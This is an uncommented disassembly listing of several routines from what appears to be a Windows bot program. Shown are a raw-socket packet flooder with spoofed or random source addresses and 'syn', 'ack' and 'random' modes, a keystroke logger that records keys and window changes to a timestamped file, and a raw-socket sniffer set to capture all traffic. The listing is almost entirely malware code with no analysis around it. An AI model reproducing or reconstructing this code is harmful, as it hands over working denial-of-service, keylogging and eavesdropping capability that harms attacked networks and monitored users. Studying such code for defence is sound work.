		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_43F668
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_43F668
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 25D0883h
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 25D0616h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_417760
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax

loc_401BA1:				; CODE XREF: sub_401A76+25Dj
					; sub_401A76+26Bj
		mov	[ebp+var_24], bx
		call	sub_41730C
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43F668
		mov	[ebp+var_34], ax
		call	sub_41730C
		mov	edi, eax
		shl	edi, 10h
		call	sub_41730C
		or	edi, eax
		push	edi
		call	dword_43F668
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43F664
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43F668
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_43F6CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401CE6
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 25D0616h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401D0F
		jl	loc_401BA1
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_401D0F
		jmp	loc_401BA1
; ---------------------------------------------------------------------------

loc_401CE6:				; CODE XREF: sub_401A76+247j
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4262B8
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		jmp	short loc_401D12
; ---------------------------------------------------------------------------

loc_401D0F:				; CODE XREF: sub_401A76+25Bj
					; sub_401A76+269j
		mov	ebx, [ebp+arg_8]

loc_401D12:				; CODE XREF: sub_401A76+78j
					; sub_401A76+297j
		push	[ebp+var_C]
		call	dword_43F700
		pop	esi

loc_401D1C:				; CODE XREF: sub_401A76+5Bj
		call	dword_43F5C8
		mov	eax, ebx

loc_401D24:				; CODE XREF: sub_401A76+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_401A76	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D28	proc near		; CODE XREF: sub_4019D7+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41781F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41781F
		mov	edi, eax
		call	sub_41730C
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_401A76
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401D73
		push	1
		pop	eax

loc_401D73:				; CODE XREF: sub_401D28+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D82	proc near		; DATA XREF: sub_40EE72+2D38o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_424058
		call	edi
		push	eax
		call	sub_417302
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_43F6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401E4B
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_42642C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401E2B
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_401E2B:				; CODE XREF: sub_401D82+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25D0000h

loc_401E4B:				; CODE XREF: sub_401D82+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_43F648
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401EC9
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4263E4
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401EA9
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_401EA9:				; CODE XREF: sub_401D82+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 25D0000h
		nop

loc_401EC9:				; CODE XREF: sub_401D82+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401F39
		lea	eax, [ebp+var_440]
		push	offset dword_4263B4
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401F19
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_401F19:				; CODE XREF: sub_401D82+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 25D0000h
		nop

loc_401F39:				; CODE XREF: sub_401D82+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_43F668
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi
		mov	[ebp+var_30], eax

loc_401F71:				; CODE XREF: sub_401D82+430j
		call	edi
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_402235
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_43F668
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_401FE4
		call	sub_41730C
		mov	esi, eax
		shl	esi, 8
		call	sub_41730C
		add	esi, eax
		shl	esi, 8
		call	sub_41730C
		add	esi, eax
		shl	esi, 8
		call	sub_41730C
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_401FFA
; ---------------------------------------------------------------------------

loc_401FE4:				; CODE XREF: sub_401D82+233j
		push	[ebp+var_240]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_20], eax

loc_401FFA:				; CODE XREF: sub_401D82+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_402018
		call	sub_41730C
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_40201E
; ---------------------------------------------------------------------------

loc_402018:				; CODE XREF: sub_401D82+284j
		push	[ebp+var_B8]

loc_40201E:				; CODE XREF: sub_401D82+294j
		call	dword_43F668
		mov	[ebp+var_16], ax
		call	sub_41730C
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43F668
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_43F664
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40206E
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_4020CA
; ---------------------------------------------------------------------------

loc_40206E:				; CODE XREF: sub_401D82+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40208E
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_4020CA
; ---------------------------------------------------------------------------

loc_40208E:				; CODE XREF: sub_401D82+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom	; "random"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4020CA
		call	sub_41730C
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_41730C
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl

loc_4020CA:				; CODE XREF: sub_401D82+2EAj
					; sub_401D82+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_43F668
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_43F668
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_43F6CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4021B7
		inc	[ebp+arg_0]
		jmp	loc_401F71
; ---------------------------------------------------------------------------

loc_4021B7:				; CODE XREF: sub_401D82+42Bj
		push	[ebp+var_4]
		call	dword_43F700
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset dword_426344
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_402215
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_402215:				; CODE XREF: sub_401D82+46Ej
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25D0000h

loc_402235:				; CODE XREF: sub_401D82+203j
		push	[ebp+var_4]
		call	dword_43F700
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4262E4
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4022A6
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_4022A6:				; CODE XREF: sub_401D82+4FFj
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 25D0000h
		nop
sub_401D82	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022C6	proc near		; CODE XREF: sub_4023A7+B4p
					; sub_4023A7+253p

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		nop
		call	near ptr 25E03BBh
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		nop
		call	near ptr 25E0000h
		lea	eax, [ebp+var_114]
		push	offset asc_426C1C ; "\\"
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_114]
		push	offset dword_42F684
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_114]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4179A8
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_40232D
		push	1
		pop	eax
		jmp	short loc_4023A4
; ---------------------------------------------------------------------------

loc_40232D:				; CODE XREF: sub_4022C6+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_417956
		push	esi
		call	sub_417900
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_4023A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_426BDC
		push	200h
		push	eax
		call	sub_41782A
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h

loc_4023A2:				; CODE XREF: sub_4022C6+A3j
		xor	eax, eax

loc_4023A4:				; CODE XREF: sub_4022C6+65j
		pop	esi
		leave
		retn
sub_4022C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4023A7	proc near		; DATA XREF: sub_40EE72+1F95o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	dword_43F5F0
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43F604
		mov	ebx, 200h

loc_402402:				; CODE XREF: sub_4023A7+2C7j
		push	8
		nop
		call	near ptr 25D0CB3h
		call	dword_43F5F0
		cmp	eax, [ebp+var_8]
		jz	short loc_40248A
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43F604
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_4172B0
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022C6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch

loc_40248A:				; CODE XREF: sub_4023A7+6Cj
		mov	[ebp+arg_0], offset aB ; "b"

loc_402491:				; CODE XREF: sub_4023A7+2BDj
		push	10h
		call	dword_43F548
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_43F634
		test	ah, 80h
		jz	short loc_402529
		push	14h
		call	dword_43F548
		test	ax, ax
		jz	short loc_4024DA
		cmp	esi, 0FFFFFFFFh
		jle	short loc_4024DA
		cmp	edi, 40h
		jle	short loc_4024DA
		cmp	edi, 5Bh
		jge	short loc_4024DA
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_4024DA:				; CODE XREF: sub_4023A7+112j
					; sub_4023A7+117j ...
		push	14h
		call	dword_43F548
		test	ax, ax
		jz	short loc_402505
		test	esi, esi
		jge	short loc_402519
		cmp	edi, 40h
		jle	short loc_402505
		cmp	edi, 5Bh
		jge	short loc_402505
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_402505:				; CODE XREF: sub_4023A7+13Ej
					; sub_4023A7+147j ...
		test	esi, esi
		jge	short loc_402519
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_402519:				; CODE XREF: sub_4023A7+142j
					; sub_4023A7+160j
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_402529:				; CODE XREF: sub_4023A7+105j
		mov	esi, [ebp+edi*4+var_8DC]
		lea	eax, [ebp+edi*4+var_8DC]
		test	esi, esi
		jz	loc_402659
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		cmp	edi, 8
		push	eax
		jnz	short loc_402561
		call	sub_417AB0
		and	[ebp+eax+var_2DD], 0
		pop	ecx
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_402561:				; CODE XREF: sub_4023A7+1A5j
		call	sub_417AB0
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_402593
		call	dword_43F5F0
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43F604
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_4025D4
; ---------------------------------------------------------------------------

loc_402593:				; CODE XREF: sub_4023A7+1C5j
		cmp	edi, 0Dh
		jnz	loc_40262B
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jz	loc_402659
		call	dword_43F5F0
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43F604
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"

loc_4025D4:				; CODE XREF: sub_4023A7+1EAj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_4172B0
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022C6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		jmp	short loc_402659
; ---------------------------------------------------------------------------

loc_40262B:				; CODE XREF: sub_4023A7+1EFj
		cmp	esi, 1
		jz	short loc_402644
		cmp	esi, 3
		jz	short loc_402644
		cmp	esi, 2
		jz	short loc_40263F
		cmp	esi, 4
		jnz	short loc_402659

loc_40263F:				; CODE XREF: sub_4023A7+291j
		push	[ebp+arg_0]
		jmp	short loc_40264B
; ---------------------------------------------------------------------------

loc_402644:				; CODE XREF: sub_4023A7+287j
					; sub_4023A7+28Cj
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax

loc_40264B:				; CODE XREF: sub_4023A7+29Bj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4179D0
		pop	ecx
		pop	ecx

loc_402659:				; CODE XREF: sub_4023A7+12Ej
					; sub_4023A7+159j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_426BA4
		jl	loc_402491
		cmp	[ebp+var_4], 0
		jz	loc_402402
		push	[ebp+var_D8]
		call	sub_417078
		pop	ecx
		push	0
		nop
		call	near ptr 25D0000h
sub_4023A7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402688	proc near		; DATA XREF: sub_40EE72+1DDBo

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_417B30
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_43F668
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_40275D
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_427604
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402740
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_402740:				; CODE XREF: sub_402688+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25D0000h

loc_40275D:				; CODE XREF: sub_402688+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_4450CC[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_43F694
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4027E2
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_4275C0
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4027BE
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_4027BE:				; CODE XREF: sub_402688+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43F700
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		push	esi
		call	near ptr 25D0000h
		nop

loc_4027E2:				; CODE XREF: sub_402688+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_43F614
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402865
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_427578
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402841
